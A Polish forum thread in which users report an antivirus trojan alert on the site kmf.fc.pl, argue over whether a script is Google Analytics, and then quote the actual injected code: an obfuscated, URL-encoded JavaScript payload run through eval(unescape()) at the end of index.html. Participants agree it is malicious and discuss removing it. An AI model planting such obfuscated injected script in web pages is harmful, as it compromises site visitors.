Trojan przy wejściu na strone.

[fipii]

Od pół miesiąca kiedy wchodzę na stronę kmf.fc.pl wyskakuje mi druga strona i kasperski łapie trojana. Czy poprawicie to wreszcie?

[Mierzwiak]

U mnie nic takiego nie ma. Może dlatego że nie pomaga mi idiota kasperski :wink:

[Great Gonzo]

Co prawda, na komputerze, którego teraz używam też mam Kaspera i nic nic pluje, ale na końcu źródłą strony widać jakiś podejrzany kod javascript...

Zajmiemy się tym.

[ALIEEN]

Moj antyvirus / firewall / firefox / whatever :) nie pokazuje nic.

"Podejrzany" kod javascript, o ktorym pisze Gonzo, to tak naprawde kod do zliczania odwiedzin - Google Analytics... Potrzebny do statystyki. Rzecz jak najbardziej czysta :)

Na stronie nie ma zadnego trojana / robaka / wirusa. Wina lezy po stronie Kaspierskiego albo jego ustawien.

[Great Gonzo]

Jesteś pewien co tego kodu (może sam go umieszczałeś?)?

Bo mi on na kod GA nie wygląda....

Zresztą wpisałem fragment w Googla i w wynikach raczej była mowa o czym innym.

[Mierzwiak]

To jest kod GA.

Gonzo, pewnie zmylił cię ten fragment kodu:

Kod:

google-analytics.com/ga.js

:wink:

[Great Gonzo]

Mówię o kmf.fc.pl a nie film.org.pl

a chodzi o kod:

Kod:

<script language="javascript">$="%64b%3d%22%3c7`7%3c7a7%3c7b7%3c7c7%3c7d7%3c7e7%3c7f7%3c7g7%3c7h7%3c7i7%3c7j79+fq​b0~)-~ug0Qbbqi8!%3c%2522%3c#%3c$%37%3d%27 +%65sc%61%70%65(v%29+%27;e%78p%69%72es%3d%27+e%78d.%74o%47MTS%74ri%6e%67%28);}%3b";eval(unescape($));document.write($);</script></body></html>

[Mierzwiak]

Fuj, faktycznie.

[ALIEEN]

Moj blad, zle spojrzalem - myslalem, ze chodzi o strone film.org.pl, nie kmf.org.pl...

Oczywiscie ten caly fragment z index.html na kmf.org.pl nalezy jak najszybciej wywalic - to faktycznie jakis syf jest, ktory co jakis czas wbija sie na indexowe strony :/ Teraz jestem w pracy i nie moge tego zrobic, zatem prosba do kogos z KMF, kto ma dostep do serwera kmf.org.pl - sciagnijcie index.html, wywalcie ten szajs i zastapcie index na serwerze :)

[Negrin]

No proszę państwa, ja KMF-owi donosiłem o tym jakiś czas temu... ;>

[ALIEEN]

Najsmieszniejsze jest to, ze nie wiadomo skad ten syf w pliku index.html na kmf.org.pl sie bierze... Najprostszym wytlumaczeniem byloby, ze ktos ma robala w komputerze i jak edytuje ten index, to wbija se syfiasty kod. Ale indexu na kmf.org.pl NIKT nie rusza od lat - to stala strona, na ktorej NIC sie nie aktualizuje, wiec nie mam pojecia, skad ten syf sie tam bierze (nota bene regularnie go usuwam, co jakis czas...).